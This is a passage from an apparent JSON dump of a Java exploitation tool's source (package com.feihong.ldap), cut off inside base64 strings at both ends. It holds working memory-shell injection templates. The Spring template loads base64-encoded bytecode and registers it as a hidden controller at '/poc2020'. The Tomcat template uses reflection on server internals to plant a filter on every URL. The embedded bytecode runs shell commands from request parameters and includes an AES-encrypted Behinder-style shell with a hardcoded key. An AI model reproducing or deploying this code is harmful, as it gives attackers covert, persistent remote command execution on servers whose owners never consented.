dGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABmFwcGVuZAEALShMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBAA1nZXRTdXBlcmNsYXNzAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwAhAF0AQgABAF4ABAACAF8AYAAAAAIAYQBiAAAAAgBjAGIAAAACAGQAYgAAAAUAAQBlAGYAAQBnAAAAWQACAAEAAAAbKrcAASoSArUAAyoSBLUABSoSBrUAByq3AAixAAAAAgBoAAAAGgAGAAAAFgAEABEACgASABAAEwAWABcAGgAYAGkAAAAMAAEAAAAbAGoAawAAAAEAbABtAAIAZwAAADUAAAACAAAAAbEAAAACAGgAAAAGAAEAAAAdAGkAAAAWAAIAAAABAGoAawAAAAAAAQBuAG8AAQBwAAAABAABAHEAAQByAHMAAgBnAAAC5AAHAAoAAAGpsgAJEgq2AAsrEgy5AA0CAMYAkSsSDLkADQIAEg62AA+ZAIErKrQAA7kADQIAOgQZBMYAbRkEtgAQmgBlAToFsgAREhK2AA+ZABsGvQATWQMSFFNZBBIVU1kFGQRTOgWnABgGvQATWQMSFlNZBBIXU1kFGQRTOgW7ABhZuAAZGQW2ABq2ABu3ABwSHbYAHrYAHzoGLLkAIAEAGQa2ACGnAQorwAAiKrQABbkAIwIAxgDyK8AAIrkAJAEAEiW2AA+ZANQqtAAHOgQrwAAiuQAmAQASJxkEuQAoAwASKbgAKjoFGQUFuwArWbsALFm3AC0rwAAiuQAmAQASJ7kALgIAtgAvEjC2ADG2ADK2ADMSKbcANLYANRkFuwA2WbcANyu5ADgBALYAObYAOrYAOzoGKrQAPBI9Bb0APlkDEj9TWQQSQFO2AEEBBb0AQlkDGQZTWQS4AEO2AERTtgBFwAA+OgcZB7YARjoIGQcSRwW9AD5ZAxJIU1kEEklTtgBBOgkZCRkIBb0AQlkDK1NZBCxTtgBFV6cAFToEGQS2AEunAAstKyy5AEwDALEAAQCxAZMBlgBKAAMAaAAAAG4AGwAAACEACAAkACMAJgAvACcAPAAoAD8AKQBKACoAYgAsAHcALgCTAC8AngAxALEANADCADUAyAA2ANoANwDhADgBFQA5AS8AOgFhADsBaAA8AX8APQGTAEEBlgA/AZgAQAGdAEEBoABDAagARQBpAAAAjgAOAD8AXwB0AHUABQCTAAsAdgBiAAYALwBvAHcAYgAEAMgAywB4AGIABADhALIAeQB6AAUBLwBkAHsAfAAGAWEAMgB9AGAABwFoACsAfgB/AAgBfwAUAIAAgQAJAZgABQCCAIMABAAAAakAagBrAAAAAAGpAIQAhQABAAABqQCGAIcAAgAAAakAiACJAAMAigAAABkACP0AYgcAiwcAjBT5ACYC+wDxQgcAjQkHAHAAAAAGAAIAWQBxAAEAjgBmAAEAZwAAACsAAAABAAAAAbEAAAACAGgAAAAGAAEAAABKAGkAAAAMAAEAAAABAGoAawAAAAIAjwBmAAEAZwAAAgMABwAHAAAAqbgAQ7YAREwqKxJNtgBOtQA8pwB/TSu2AFBOAToEGQTHADMtEkKlAC0tEj0GvQA+WQMSP1NZBLIAUVNZBbIAUVO2AEE6BKf/2DoFLbYAU06n/84SVDoFuwA2WbcANxkFtgA6OgYZBAS2AFUqGQQrBr0AQlkDGQZTWQQDuABWU1kFGQa+uABWU7YARcAAPrUAPKcAGEwrtgBYpwAQTCu2AFqnAAhMK7YAXLEABQAHABEAFABPACgARQBIAFIAAACQAJMAVwAAAJAAmwBZAAAAkACjAFsAAwBoAAAAagAaAAAATgAHAFAAEQBgABQAUQAVAFIAGgBTAB0AVAAoAFYARQBZAEgAVwBKAFgATwBZAFIAXABWAF0AZABeAGoAXwCQAGcAkwBhAJQAYgCYAGcAmwBjAJwAZACgAGcAowBlAKQAZgCoAGgAaQAAAHAACwBKAAUAkACRAAUAGgB2AJIAYAADAB0AcwCTAIEABABWADoAlABiAAUAZAAsAJUAfAAGABUAewCCAJYAAgAHAIkAlwCYAAEAlAAEAIIAmQABAJwABACCAJoAAQCkAAQAggCbAAEAAACpAGoAawAAAIoAAAA6AAn/ABQAAgcAnAcAnQABBwCe/gAIBwCeBwCfBwCgagcAoQn/AD0AAQcAnAAAQgcAokcHAKNHBwCkBAABAKUAAAACAKY=\";\n                byte[] bytes = base64Decoder.decodeBuffer(codeClass);\n\n                Method method = null;\n                Class clz = classLoader.getClass();\n                while(method == null && clz != Object.class ){\n                    try{\n                        method = clz.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n                    }catch(NoSuchMethodException ex){\n                        clz = clz.getSuperclass();\n                    }\n                }\n                method.setAccessible(true);\n                clazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length);\n            }catch (Exception ex){\n                //continue;\n            }\n        }\n\n        XmlWebApplicationContext context = null;\n        try{\n            context = (XmlWebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute(\"org.springframework.web.servlet.DispatcherServlet.CONTEXT\", 0);\n        }catch(Exception e){\n            context = (XmlWebApplicationContext) ContextLoader.getCurrentWebApplicationContext();\n        }\n\n        try{\n            // 1. 在当前上下文环境中注册一个名为 dynamicController 的 Webshell controller 实例 bean\n            context.getBeanFactory().registerSingleton(\"dynamicController\", clazz.newInstance());\n        }catch(Exception e){\n            System.out.println(e);\n            //continue\n        }\n\n\n        try{\n            Object requestMappingHandlerMapping = context.getBean(Class.forName(\"org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping\"));\n            // 防止重复添加，重复添加会导致不可用\n            Object obj = requestMappingHandlerMapping.getClass().getMethod(\"getHandlerMethods\").invoke(requestMappingHandlerMapping);\n            Method method = obj.getClass().getMethod(\"keySet\");\n            method.setAccessible(true);\n            Set mappingInfos = (Set)method.invoke(obj);\n            for(Object requestMappingInfo : mappingInfos){\n                if(requestMappingInfo.toString().contains(\"/poc2020\")){\n                    return;\n                }\n            }\n            method = Class.forName(\"org.springframework.web.servlet.handler.AbstractHandlerMethodMapping\").getDeclaredMethod(\"detectHandlerMethods\", Object.class);\n            method.setAccessible(true);\n            method.invoke(requestMappingHandlerMapping, \"dynamicController\");\n            return;\n        }catch(Exception e){\n            System.out.println(e);\n            //continue;\n        }\n\n        try{\n            // 2. 从当前上下文环境中获得 DefaultAnnotationHandlerMapping 的实例 bean\n            Object dh = context.getBean(Class.forName(\"org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping\"));\n            // 3. 反射获得 registerHandler Method\n            Method method = Class.forName(\"org.springframework.web.servlet.handler.AbstractUrlHandlerMapping\").getDeclaredMethod(\"registerHandler\", String.class, Object.class);\n            method.setAccessible(true);\n            // 4. 将 dynamicController 和 URL 注册到 handlerMap 中\n            method.invoke(dh, \"/poc2020\", \"dynamicController\");\n            return;\n        }catch(Exception e){\n            System.out.println(e);\n            //continue\n        }\n    }\n\n    @Override\n    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {\n\n    }\n\n    @Override\n    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {\n\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/template/Template.java",
    "content": "package com.feihong.ldap.template;\n\npublic interface Template {\n    void generate();\n    byte[] getBytes();\n    void cache();\n    String getClassName();\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/template/TomcatMemshellTemplate.java",
    "content": "package com.feihong.ldap.template;\n\nimport com.sun.jmx.mbeanserver.NamedObject;\nimport com.sun.jmx.mbeanserver.Repository;\nimport com.sun.org.apache.xalan.internal.xsltc.DOM;\nimport com.sun.org.apache.xalan.internal.xsltc.TransletException;\nimport com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;\nimport com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;\nimport com.sun.org.apache.xml.internal.serializer.SerializationHandler;\nimport org.apache.catalina.Context;\nimport org.apache.catalina.core.ApplicationFilterConfig;\nimport org.apache.catalina.core.StandardContext;\nimport org.apache.tomcat.util.modeler.Registry;\nimport sun.misc.BASE64Decoder;\nimport javax.management.DynamicMBean;\nimport javax.management.MBeanServer;\nimport javax.management.ObjectName;\nimport javax.servlet.DispatcherType;\nimport javax.servlet.Filter;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\nimport java.util.HashMap;\nimport java.util.Set;\n\npublic class TomcatMemshellTemplate extends AbstractTranslet {\n\n    public TomcatMemshellTemplate(){\n        try{\n            String filterName = \"dynamicFilter\";\n            String urlPattern = \"/*\";\n\n            MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer();\n            Field field = Class.forName(\"com.sun.jmx.mbeanserver.JmxMBeanServer\").getDeclaredField(\"mbsInterceptor\");\n            field.setAccessible(true);\n            Object obj = field.get(mbeanServer);\n\n            field = Class.forName(\"com.sun.jmx.interceptor.DefaultMBeanServerInterceptor\").getDeclaredField(\"repository\");\n            field.setAccessible(true);\n            Repository repository  = (Repository) field.get(obj);\n\n            Set<NamedObject> objectSet =  repository.query(new ObjectName(\"Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*\"), null);\n            for(NamedObject namedObject : objectSet){\n                try{\n                    DynamicMBean dynamicMBean = namedObject.getObject();\n                    field = Class.forName(\"org.apache.tomcat.util.modeler.BaseModelMBean\").getDeclaredField(\"resource\");\n                    field.setAccessible(true);\n                    obj = field.get(dynamicMBean);\n\n                    field = Class.forName(\"org.apache.catalina.authenticator.AuthenticatorBase\").getDeclaredField(\"context\");\n                    field.setAccessible(true);\n                    StandardContext standardContext = (StandardContext)field.get(obj);\n\n                    field = standardContext.getClass().getDeclaredField(\"filterConfigs\");\n                    field.setAccessible(true);\n                    HashMap<String, ApplicationFilterConfig> map = (HashMap<String, ApplicationFilterConfig>) field.get(standardContext);\n\n                    if(map.get(filterName) == null) {\n                        System.out.println(\"[+] Add Dynamic Filter\");\n\n                        //生成 FilterDef\n                        //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同，为了通用性，这里用反射来写\n                        Class filterDefClass = null;\n                        try {\n                            filterDefClass = Class.forName(\"org.apache.catalina.deploy.FilterDef\");\n                        } catch (ClassNotFoundException e) {\n                            filterDefClass = Class.forName(\"org.apache.tomcat.util.descriptor.web.FilterDef\");\n                        }\n\n                        Object filterDef = filterDefClass.newInstance();\n                        filterDef.getClass().getDeclaredMethod(\"setFilterName\", String.class).invoke(filterDef, filterName);\n\n                        ClassLoader cl = Thread.currentThread().getContextClassLoader();\n                        Class clazz;\n                        try{\n                            clazz = cl.loadClass(\"com.feihong.ldap.template.DynamicFilterTemplate\");\n                        }catch(ClassNotFoundException e){\n                            BASE64Decoder base64Decoder = new BASE64Decoder();\n                            String codeClass = \"yv66vgAAADIBXgoAQgCnCACoCQBdAKkIAKoJAF0AqwgArAkAXQCtCgBdAK4JAK8AsAgAsQoAsgCzCAC0CwBIALUIALYKABMAtwoAEwC4CQC5ALoIALsHALwIAL0IAL4IAHcIAL8HAMAKAMEAwgoAwQDDCgDEAMUKABgAxggAxwoAGADICgAYAMkLAEkAygoAywCzBwDMCwAiAM0LACIAzggAzwsAIgDQCADRCwDSANMIANQKANUA1gcA1wcA2AoALACnCwDSANkKACwA2ggA2woALADcCgAsAN0KABMA3goAKwDfCgDVAOAHAOEKADYApwsASADiCgDjAOQKADYA5QoA1QDmCQBdAOcIAOgHAOkHAHwHAOoKAD4A6wcA7AoA7QDuCgDtAO8KAPAA8QoAPgDyCADzBwD0BwD1BwD2CgBKAPcLAPgA+QgA+goAQAD7BwD8CgBCAP0JAP4A/wcBAAoAPgEBCAECCgDwAQMKAP4BBAcBBQoAVwD3BwEGCgBZAPcHAQcKAFsA9wcBCAcBCQEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAQYmFzaWNDbWRTaGVsbFB3ZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAE2JlaGluZGVyU2hlbGxIZWFkZXIBABBiZWhpbmRlclNoZWxsUHdkAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADFMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9EeW5hbWljRmlsdGVyVGVtcGxhdGU7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcBCgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQADY21kAQABawEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADmV2aWxDbGFzc0J5dGVzAQACW0IBAAlldmlsQ2xhc3MBAApldmlsT2JqZWN0AQASTGphdmEvbGFuZy9PYmplY3Q7AQAMdGFyZ2V0TWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAOc2VydmxldFJlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQALZmlsdGVyQ2hhaW4BABtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjsBAA1TdGFja01hcFRhYmxlBwC8BwB1BwD2AQAHZGVzdHJveQEACmluaXRpYWxpemUBAAJleAEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABWNsYXp6AQAGbWV0aG9kAQAEY29kZQEABWJ5dGVzAQAiTGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uOwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQAtTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb247BwEIBwDqBwD8BwDpBwELBwEABwEFBwEGBwEHAQAKU291cmNlRmlsZQEAGkR5bmFtaWNGaWx0ZXJUZW1wbGF0ZS5qYXZhDABlAGYBAARwYXNzDABhAGIBAAxYLU9wdGlvbnMtQWkMAGMAYgEAEGU0NWUzMjlmZWI1ZDkyNWIMAGQAYgwAjwBmBwEMDAENAQ4BAB1bK10gRHluYW1pYyBGaWx0ZXIgc2F5cyBoZWxsbwcBDwwBEAERAQAEdHlwZQwBEgETAQAFYmFzaWMMAPMBFAwBFQEWBwEXDAEYAGIBAAEvAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwEAAi9DAQARamF2YS91dGlsL1NjYW5uZXIHARkMARoBGwwBHAEdBwEeDAEfASAMAGUBIQEAAlxBDAEiASMMASQBJQwBJgEnBwEoAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwBKQETDAEqASUBAARQT1NUDAErASwBAAF1BwEtDAEuAS8BAANBRVMHATAMATEBMgEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBMwE0DAE1ATYBAAAMATUBNwwBOAElDAE5AToMAGUBOwwAbAE8AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwBPQE+BwE/DAFAASUMAUEBQgwBQwFEDABfAGABAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgwBRQFGAQAQamF2YS9sYW5nL09iamVjdAcBRwwBSAFJDAFKAUsHAQsMAUwBTQwBTgFPAQAGZXF1YWxzAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBUABmBwFRDAByAVIBACdjb20uZmVpaG9uZy5sZGFwLnRlbXBsYXRlLk15Q2xhc3NMb2FkZXIMAVMBVAEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uDAFVAVYHAVcMAVgAYAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAVkBVgEDHHl2NjZ2Z0FBQURJQUd3b0FCUUFXQndBWENnQUNBQllLQUFJQUdBY0FHUUVBQmp4cGJtbDBQZ0VBR2loTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPeWxXQVFBRVEyOWtaUUVBRDB4cGJtVk9kVzFpWlhKVVlXSnNaUUVBRWt4dlkyRnNWbUZ5YVdGaWJHVlVZV0pzWlFFQUJIUm9hWE1CQUNsTVkyOXRMMlpsYVdodmJtY3ZiR1JoY0M5MFpXMXdiR0YwWlM5TmVVTnNZWE56VEc5aFpHVnlPd0VBQVdNQkFCZE1hbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5T3dFQUMyUmxabWx1WlVOc1lYTnpBUUFzS0Z0Q1RHcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjanNwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNCQUFWaWVYUmxjd0VBQWx0Q0FRQUxZMnhoYzNOTWIyRmtaWElCQUFwVGIzVnlZMlZHYVd4bEFRQVNUWGxEYkdGemMweHZZV1JsY2k1cVlYWmhEQUFHQUFjQkFDZGpiMjB2Wm1WcGFHOXVaeTlzWkdGd0wzUmxiWEJzWVhSbEwwMTVRMnhoYzNOTWIyRmtaWElNQUE4QUdnRUFGV3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1JsY2dFQUZ5aGJRa2xKS1V4cVlYWmhMMnhoYm1jdlEyeGhjM003QUNFQUFnQUZBQUFBQUFBQ0FBQUFCZ0FIQUFFQUNBQUFBRG9BQWdBQ0FBQUFCaW9ydHdBQnNRQUFBQUlBQ1FBQUFBWUFBUUFBQUFRQUNnQUFBQllBQWdBQUFBWUFDd0FNQUFBQUFBQUdBQTBBRGdBQkFBa0FEd0FRQUFFQUNBQUFBRVFBQkFBQ0FBQUFFTHNBQWxrcnR3QURLZ01xdnJZQUJMQUFBQUFDQUFrQUFBQUdBQUVBQUFBSUFBb0FBQUFXQUFJQUFBQVFBQkVBRWdBQUFBQUFFQUFUQUE0QUFRQUJBQlFBQUFBQ0FCVT0MAVoBWwwBXAFdAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAL2NvbS9mZWlob25nL2xkYXAvdGVtcGxhdGUvRHluYW1pY0ZpbHRlclRlbXBsYXRlAQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAB2lzRW1wdHkBAAMoKVoBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABmFwcGVuZAEALShMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBAA1nZXRTdXBlcmNsYXNzAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwAhAF0AQgABAF4ABAACAF8AYAAAAAIAYQBiAAAAAgBjAGIAAAACAGQAYgAAAAUAAQBlAGYAAQBnAAAAWQACAAEAAAAbKrcAASoSArUAAyoSBLUABSoSBrUAByq3AAixAAAAAgBoAAAAGgAGAAAAFgAEABEACgASABAAEwAWABcAGgAYAGkAAAAMAAEAAAAbAGoAawAAAAEAbABtAAIAZwAAADUAAAACAAAAAbEAAAACAGgAAAAGAAEAAAAdAGkAAAAWAAIAAAABAGoAawAAAAAAAQBuAG8AAQBwAAAABAABAHEAAQByAHMAAgBnAAAC5AAHAAoAAAGpsgAJEgq2AAsrEgy5AA0CAMYAkSsSDLkADQIAEg62AA+ZAIErKrQAA7kADQIAOgQZBMYAbRkEtgAQmgBlAToFsgAREhK2AA+ZABsGvQATWQMSFFNZBBIVU1kFGQRTOgWnABgGvQATWQMSFlNZBBIXU1kFGQRTOgW7ABhZuAAZGQW2ABq2ABu3ABwSHbYAHrYAHzoGLLkAIAEAGQa2ACGnAQorwAAiKrQABbkAIwIAxgDyK8AAIrkAJAEAEiW2AA+ZANQqtAAHOgQrwAAiuQAmAQASJxkEuQAoAwASKbgAKjoFGQUFuwArWbsALFm3AC0rwAAiuQAmAQASJ7kALgIAtgAvEjC2ADG2ADK2ADMSKbcANLYANRkFuwA2WbcANyu5ADgBALYAObYAOrYAOzoGKrQAPBI9Bb0APlkDEj9TWQQSQFO2AEEBBb0AQlkDGQZTWQS4AEO2AERTtgBFwAA+OgcZB7YARjoIGQcSRwW9AD5ZAxJIU1kEEklTtgBBOgkZCRkIBb0AQlkDK1NZBCxTtgBFV6cAFToEGQS2AEunAAstKyy5AEwDALEAAQCxAZMBlgBKAAMAaAAAAG4AGwAAACEACAAkACMAJgAvACcAPAAoAD8AKQBKACoAYgAsAHcALgCTAC8AngAxALEANADCADUAyAA2ANoANwDhADgBFQA5AS8AOgFhADsBaAA8AX8APQGTAEEBlgA/AZgAQAGdAEEBoABDAagARQBpAAAAjgAOAD8AXwB0AHUABQCTAAsAdgBiAAYALwBvAHcAYgAEAMgAywB4AGIABADhALIAeQB6AAUBLwBkAHsAfAAGAWEAMgB9AGAABwFoACsAfgB/AAgBfwAUAIAAgQAJAZgABQCCAIMABAAAA